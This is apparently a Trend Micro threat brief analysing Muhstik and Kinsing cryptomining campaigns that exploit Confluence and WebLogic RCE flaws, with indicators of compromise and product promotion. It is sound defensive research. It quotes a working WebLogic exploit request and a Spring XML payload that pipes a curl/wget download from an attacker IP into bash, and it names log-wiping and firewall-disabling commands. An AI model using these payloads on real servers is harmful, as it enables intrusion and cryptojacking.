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Introduction
Vulnerabilities1 serve as entry points for threats, and even relatively new ones have swarms of
exploit campaigns that target them. In this research, we look into how malware campaigns
target server vulnerabilities. In particular, we look into the Atlassian Confluence Server
Webwork Object-Graph Navigation Language (OGNL) injection vulnerability, CVE-2021-260842,
and three Oracle WebLogic Server vulnerabilities, CVE-2020-148823, CVE-2020-147504, and
CVE-2020-148835. We also include recommendations on how security teams can safeguard
their workloads.
To observe the following campaigns, we used detection data and set up honeypots, which we
managed with Trend Micro Cloud One™ – Workload Security6 and Trend Micro Vision One™7.
With the help of these solutions, we were able to investigate attacks launched by adversaries as
well as attempt some attack scenarios ourselves.

Overview of the Vulnerabilities
CVE-2021-26084
In August this year, Atlassian disclosed CVE-2021-26084, which affects Confluence Server and
Confluence Data Center8 versions before 6.13.23, from 6.14.0 before 7.4.11, from 7.5.0 before
7.11.6, and from 7.12.0 before 7.12.5. Since then, this vulnerability has been heavily exploited
in the wild. The Cyber National Mission Force (CNMF)9 has noticed ongoing mass exploitation
of the bug and is expecting the malicious activity to increase. Even the US Cyber Command
urged organizations to patch the vulnerability immediately. The vulnerability can be exploited
even by non-administrator or unauthenticated users if the endpoints are accessible on the
network.
Atlassian Confluence is used primarily in corporate environments as a collaboration tool. In its
backend, it uses OGNL, which is an open-source Expression Language (EL) for Java. While
OGNL uses simpler expressions than the full range of those supported by the Java language, it
does allow getting and setting properties (through defined setProperty and getProperty
methods, found in JavaBeans), and execution of methods of Java classes.
This remote code execution (RCE) flaw exists as a result of how Atlassian Confluence handles
OGNL expressions. The flaw was found in the velocity template10, which was changed in
previous patches; that is, with createpage-entervariables.vm and other *.vm files. Any route that
renders these templates would cause the vulnerability to exist completely unauthorized, even if
the sign-up feature is turned on. The flaw is very similar to the 2017 Equifax Breach11, where an
Apache Struts vulnerability was exploited.
Its attack traffic is shown in the following code snippet:

Figure 1. Simple remote shell payload

CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883
CVE-2020-14882 can be exploited to take over the system by sending a simple HTTP GET
request. The vulnerability, which received a severity rating of 9.8 out of 10, has since been
patched by Oracle12, It affected versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and
14.1.1.0.
To conduct attacks, adversaries exploit a path traversal and a Java class instantiation in the
handle implementation of WebLogic's administration console to first bypass admin
authentication and then perform RCE. The attack traffic looks something like this:

Figure 2. Code snippet showing authentication bypass and RCE
Related to CVE-2020-14882, CVE-2020-1475013 is a remote code execution vulnerability in
Oracle WebLogic Server. It also affects versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0,
and 14.1.1.0.0. It can be abused even by users who don’t have authentication credentials, such
as the correct username and passwords.
On the other hand, CVE-2020-14883 provides a high-privileged attacker with network access
via HTTP to compromise and even possibly take over the Oracle WebLogic Server. It also
affects versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0.

Which Malware Campaigns are Targeting These
Vulnerabilities the Most?
We have been closely investigating the kind of attacks in the wild on these vulnerabilities. We
conducted this by setting up honeypots and analyzing detection data. Apart from attacks like
remote shell uploads and credential discoveries, the most common campaigns have always
involved cryptocurrency-mining (aka cryptomining) malware.
These cryptomining campaigns are recently leveraging Atlassian RCE vulnerability CVE-202126048 and WebLogic Server Admin Console RCE vulnerability CVE-2020-14750 heavily. This
section is a deep dive into the attack patterns of cryptomining campaigns.

Cryptomining Malware Campaigns: An Overview
Cryptomining is a system in which the cybercriminal "miners" contribute computer processing
power and get paid in cryptocurrency to validate blockchain transactions.
In our midyear roundup cybersecurity report14, cryptominers top the list of most detected
malware for the first half of 2021.

Figure 3. Cryptocurrency miners were the most detected malware, with long-running family
WannaCry in the second spot: The 10 most detected malware families in the first half of 2021
Source: Trend Micro™ Smart Protection Network™ infrastructure
MalXMR was the most detected cryptocurrency miner. Most of our detections for this technical
brief are detected as MalXMR as well.

Figure 4. MalXMR, Coinminer, and ToolXMR were the most detected cryptocurrency miners:
The 10 most detected cryptocurrency miners in the first half of 2021.
Source: Trend Micro Smart Protection Network infrastructure
To conduct cryptomining, attackers infiltrate the victim network to install cryptomining malware.
These cryptominers can then treat the victim like a parasitic host for CPU power and electricity,
with computers and servers as viable targets for these schemes.
There are also other ways threat actors can perform cryptomining. One is to break into the
victim’s web server to add browser-based cryptomining code. This will then mine the website
visitors. Another is by taking over guest Wi-Fi access points and injecting cryptomining content
there. There are even open-source toolkits that can be used to inject such malicious code into
Wi-Fi traffic automatically.
Most cryptomining campaigns have these steps in common. The steps below are performed by
a cryptomining bot:
1. Conducts regular automated scanning of the internet for servers with critical
vulnerabilities
2. Identifies an unsecured server
3. Proceeds to attack that server and perform RCE
4. Downloads the master script. The master script will attempt to do the following in the
affected system:
5. Removes existing cryptominers
6. Removes antimalware solutions, logs, monitoring tools, and other services related to
security
7. Performs lateral movement, or download another trojan, backdoor, or malicious script
that will do this in its stead
8. Downloads and runs the cryptomining malware

9. Maintains a command-and-control (C&C) connection on the machine for coin wallet
status
10. Stages the cryptomining malware or downloads another master script that will perform
the said staging

Tracking Vulnerability Exploits Using Trend Micro
Cloud One – Workload Security and Trend Micro
Vision One
We managed our honeypots with Trend Micro Cloud One – Workload Security and Trend Micro
Vision One. With the help of these solutions, we were able to investigate attacks launched by
adversaries, as well as attempt some attack scenarios ourselves. Here are our detections using
the tools, as well as our detailed analysis of their behavior.

Muhstik Campaign
Almost immediately after Atlassian released the patch for CVE-2021-26048, we saw many
different types of attack campaigns seeking to exploit this vulnerability, most of which are
cryptomining campaigns.
One notable attack traffic that we have seen so far on CVE-2021-26048 was by the Muhstik
botnet campaign15, which mostly has the purpose of cryptomining as well. Muhstik targeted
vulnerable internet of things (IoT) devices, such as routers, to grow its malicious network and
perform other tasks, such as mining for cryptocurrency or launching distributed denial-of-service
(DDoS) attacks.
The operators behind Muhstik target vulnerabilities in public-facing web applications to increase
the botnet's reach. Attackers behind the botnet fund their operation by mining cryptocurrency
with the help of such tools as XMRig and CGMiner, and also by providing DDoS-for-hire
services.

Figure 5. Muhstik botnet campaign infection chain
The specific details of this infection chain are further explained here:
1. In one of the malicious traffic we have been seeing, it can be observed that there is an
attempt to download and run a file from 149[.]28[.]85[.]17/conf2.

2. After this conf2 script is run, it downloads the additional dk86 binaries and in some
cases, dk32 as well.
These binaries are basically used to connect to an Internet Relay Chat (IRC) server to
receive commands and communicate with its C&C server mainly to steal credentials and
laterally move or perform DDoS on command. These samples are popularly known as
Tsunami backdoors.

3. The backdoor creates a cron job for regular downloads and deployments in case of
deletion.

4. A script with the file name m8 is downloaded. It serves as a stager script for
cryptomining malware.

5. The said script performs the initial cleanup, which involves a series of pkill and deletion
commands for removing any instance of cryptominers already running so that the
attacker can use the processing power of the victim machine efficiently.
6. It then downloads the XMRig cryptominer with the file name .kswapd, which is being
increasingly used to mine for cryptocurrency such as monero.

Tracking Muhstik Campaign Using Trend Micro Cloud One™
and Trend Micro Vision One
We used Cloud One and Trend Micro Vision One to help analyze this campaign. Below are our
detections:

Trend Micro Cloud One
Intrusion Prevention System (IPS) detection
For the Muhstik bot campaign, rule 1011117 - Atlassian Confluence Server RCE vulnerability
CVE-2021-26084 was triggered in the IPS. This is due to the detected incoming malicious
behavior that seeks to exploit the said vulnerability.

Figure 6. IPS detection for CVE-2021-26084 exploitation
Antimalware detections
The related antimalware detections are the following: Dk86 Tsunami backdoor (detected by
Trend Micro as Backdoor.Linux.TSUNAMI.AMX), stager trojan script m8 (detected by Trend
Micro as Trojan.SH.MALXMR.UWELD), and cryptominer XMRig aka .kswapd (detected by
Trend Micro as Coinminer.Linux.SMDSL64).

Figure 7. Dk86 Tsunami backdoor detection

Figure 8. Stager trojan script detection

Figure 9. .kswapd script detection

Trend Micro Vision One
Trend Micro Vision One Workbench
Through the Trend Micro Vision One Workbench, we were able to track and detect malicious
behavior as seen in vulnerability exploitation, suspicious outbound connection, and the
presence of .kswapd (detected by Trend Micro as Coinminer.Linux.MALXMR.SMDSL64) and
pty86 (detected by Trend Micro as Backdoor.Linux.TSUNAMI.AMX).

Figure 10. Malicious outbound traffic detection

Figure 11. .kswapd detection

Figure 12. pty86 detection
Trend Micro Vision One Observed Attack Techniques (OAT) Triggers
Trend Micro Vision One OAT also showed the detected vulnerability exploitation, with the risk
level marked as High.

Figure 13. Exploit detection

Kinsing Campaign
Known for its comprehensive attack patterns and defense evasion schemes, the Kinsing
malware16 is often wielded against misconfigured cloud-native environments. A misconfigured
host or cluster could be exploited to run any container the attacker wants to deploy. This would
cause outages on the target’s service. It can also be used to perform lateral movement to other
services, compromising sensitive data.
The Oracle WebLogic Server Admin Console RCE vulnerability CVE-2020-14750, which was
publicized in November 2020, is still highly exploited by malware campaigns like the Kinsing
malware, as we confirmed from our honeypots and customer trigger data.
The Kinsing campaign involves disabling other malware and security solutions, cleaning logs,
and creating commands before loading the main cryptominer payload. The network can get
infected by connecting to each device laterally, so malware can be activated in all the machines
connected to the targeted network.

Figure 14. Kinsing campaign infection chain

In detail, here is how the campaign works:
1. To gain initial access, threat actors exploit CVE-2020-14750 through either of the following:
a. By sending the following POST request on the vulnerable WebLogic server
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: x.x.x.x
X-Amzn-Trace-Id: Root=xxxxxxxxxxxxxxxxxxxx
Content-Length: 148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.
FileSystemXmlApplicationContext("hxxp://194[.]38.20.199/wb.xml")

The server will process this request and the file wb.xml. This request performs unauthenticated
RCE.
It will then proceed to download and execute the master script wb.sh. Here are the contents of
the script:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>
<![CDATA[ (curl -s 194.38.20.199/wb.sh||wget -q -O- 194.38.20.199/wb.sh)|bash ]]>
</value>
</list>
</constructor-arg>
</bean>
</beans>

b.

By performing RCE directly on the server machine and downloading the master script

Attackers can also gain access to the vulnerability by running the CVE-2020-14750.sh script
from their machine. The script forms a shell and downloads and executes the master script
(wb.sh). We collected some malware samples from our honeypots and did some code analysis
of the master script’s behavior. As illustrated in the previous diagram, the master script performs
the following:

1. Create a file named /tmp/zzza
2. Check if the file is there on the system. If yes, this means that the host is already
infected.
3. For defense evasion, performs the following:
• Limit resources used by the script (so that system doesn't crash) using the ulimit -m
65535 command
• Remove logs using the rm -rf /var/log/syslog command
• Disable unsecure firewalls and iptables rule flushing using the ufw disable and
iptables -F commands
• The attackers also use the commands to disable non-maskable interrupt (NMI).
Watchdog is basically a configurable timer mechanism that generates interrupt at a
particular given condition and time. In case of a system freeze, the NMI watchdog
interrupt handler would kill the task that is responsible for the system freeze. To
evade this defense mechanism, attackers disable watchdog feature by using sysctl
command or temporarily disable it by setting the value to “0”.

•

Uninstall the following:
o Cloud-related monitoring agent Aegis (Alibaba Cloud threat detection agent),
stopping the Aliyun service
o YunJing, which is a host security agent from Tencent
o BMC client management (BCM) agent, which is generally installed on endpoints
for risk mitigation

•

Disable monitoring and Security-Enhanced Linux (SELinux)

4. For persistence, conduct the following:
• Prevent the deletion of the following directories: /tmp/, /var/tmp/, /var/spool/cron,
/etc/crontab

•

Set attributes for Secure Shell (SSH) host files so that Kinsing can leverage them for
lateral movement

5. Perform cleanup by removing other cryptominer wallets or keys

6. Launch a series of pkill commands to kill processes using a couple of techniques that
match the entire process and argument list pattern and forcefully terminate a process.
7. Delete existing coinminer instances and any ongoing connections to get the maximum
CPU usage and efficiency for deploying new instances of the cryptomining payload.

8. Download the Kinsing malware, which, after creating the kdevtmpfsi cryptomining
process, tries to move laterally move using SSH known hosts.
BIN_MD5="648effa354b3cbaad87b45f48d59c616"
BIN_DOWNLOAD_URL="hxxp://194[.]40.243.167/kinsing"
BIN_DOWNLOAD_URL2="hxxp://194[.]40.243.167/kinsing"
BIN_NAME="kinsing"

Tracking Kinsing Campaign Using Trend Micro Cloud One
and Trend Micro Vision One
We used Cloud One and Trend Micro Vision One to help analyze this campaign. Below are our
detections:

Trend Micro Cloud One
IPS detection
Through IPS, we were able to detect an incoming malicious behavior that exploits CVE-202014882. This was identified through rule 1010590 - Oracle WebLogic Server RCE vulnerabilities
CVE-2020-14882, CVE-2020-14750, and CVE-2020-14883.

Figure 15. IPS detection for CVE-2020-14882 exploitation

Antimalware Detections
We were then able to detect several malicious files: the master script (detected by Trend Micro
as Trojan.SH.CVE20207961.SM), Kinsing (detected by Trend Micro as
Coinminer.Linux.MALXMR.PUWEMA), and Kdevtmpfsi (detected by Trend Micro as
Coinminer.Linux.MALXMR.SMDSL64).

Figure 16. wb.sh master script detection

Figure 17. Kinsing detection

Figure 18. kdevtmpfsi detection

Trend Micro Vision One
Trend Micro Vision One Workbench
Through Trend Micro Vision One, we were able to track the activities related to the Kinsing
campaign. This includes vulnerability exploitation, suspicious outbound traffic, bash shell script
execution, and the presence of a malicious component (kdevtmpfsi).

Figure 19. Malicious outbound traffic detection

Figure 20. Bash script detection

Figure 21. kdevtmpfsi detection
Root Cause Analysis
The root cause analysis shows more insight into the behavior of the shell script, as well as how
kdevtmpfsi emerged from Kinsing.

Figure 22. Kinsing campaign root cause analysis
Trend Micro Vision One Observed Attack Techniques (OAT) Triggers
Trend Micro Vision One OAT shows the detection of the vulnerability exploitation. The risk level
is marked as High.

Figure 23. Exploit detection

Protection Against Vulnerability Exploit Campaigns
Vulnerability exploits can heavily compromise user and enterprise systems. The following are
some of the best practices to combat these threats.
It is highly recommended for administrators to apply all patches as soon as possible, especially
if their deployed servers match the known affected versions. This recommendation is also a
possible preventative measure. Both Atlassian17 and Oracle WebLogic18 servers have released
security guidelines for the vulnerabilities discussed here.
In addition to the vendor patches, security solutions can also help in further securing the
system.

Trend Micro Vision One19 helps security teams have an overall view of attempts in ongoing
campaigns by providing them a correlated view of multiple layers such as email, endpoints,
email, endpoints, servers, and cloud workloads. Security teams can gain a broader perspective
and a better understanding of attack attempts and detect suspicious behavior that would
otherwise seem benign when viewed from a single layer alone.
Trend Micro Cloud One – Workload Security20 helps defend systems against vulnerability
exploits, malware, and unauthorized change. It can protect a variety of environments such as
virtual, physical, cloud, and containers. Using advanced techniques like machine learning (ML)
and virtual patching, the solution can automatically secure new and existing workloads both
against known and new threats.
Trend Micro™ Deep Security™21 ensures malware prevention and network security and system
security. Combined with Vulnerability Protection22, it defends user systems from threats that
target vulnerabilities. Both solutions protect users from exploits that target CVE-2021-26084 via
the following rules:
•

1011117 - Atlassian Confluence Server RCE vulnerability CVE-2021-26084

This rule is shipped in prevent mode by default and is included in the recommendation scan.
•

1005934 - Identified Suspicious Command Injection Attack

These solutions also protect users from exploits that target CVE-2020-14750, CVE-2020-14882,
and CVE-2020-14883 through the following rules:
•

1010590 - Oracle WebLogic Server RCE vulnerabilities CVE-2020-14882, CVE-202014750, and CVE-2020-14883

This rule is shipped in prevent mode by default and is included in the recommendation scan.
•

1004090 - Identified Directory Traversal Sequence In Uri

Indicators of Compromise (IOCs)
Muhstik campaign
File Name
pty86
m8
kswapd

SHA-256
0e574fd30e806fe4298b3cbccb8d1089454f42f5
2892f87554325cb352646049
3dbcd99edb3422b8fdc458b82aa7ecfe31296d3
2bb4d54450c9e9cac29fb6141
a254a26a27e36de4d96b6023f2dc8a82c4c416
0a1d72b822f34ffdd5e9a0e0c9

Trend Micro
Pattern Detection
Backdoor.Linux.TSUNAMI.A
MX
Trojan.SH.MALXMR.UWELD
Coinminer.Linux.MALXMR.S
MDSL64

IPs
hxxp://188[.]166[.]137[.]241/wp-content/themes/twentyseventeen/dk86
hxxp://153[.]121[.]58[.]102:80/wp-content/themes/zuki/m8
hxxp://3[.]10.224[.]87/[.]a/dk86

Kinsing campaign
File Name
wb.sh

SHA-256
61879d5b2f083b69e8e6cc6afce00be6619176151b
093de14f2778a87ea46565

kinsing

6e25ad03103a1a972b78c642bac09060fa79c46001
1dc5748cbb433cc459938b

kdevtmpfsi

dd603db3e2c0800d5eaa262b6b8553c68deaa486b
545d4965df5dc43217cc839

IPs
hxxp://194[.]38[.]20[.]199/wb.sh
hxxp://194[.]38[.]20[.]199/kinsing

Trend Micro
Pattern Detection
Trojan.SH.CVE20207961
.SM
Coinminer.Linux.MALXM
R.PUWEMA
Coinminer.Linux.MALXM
R.SMDSL64
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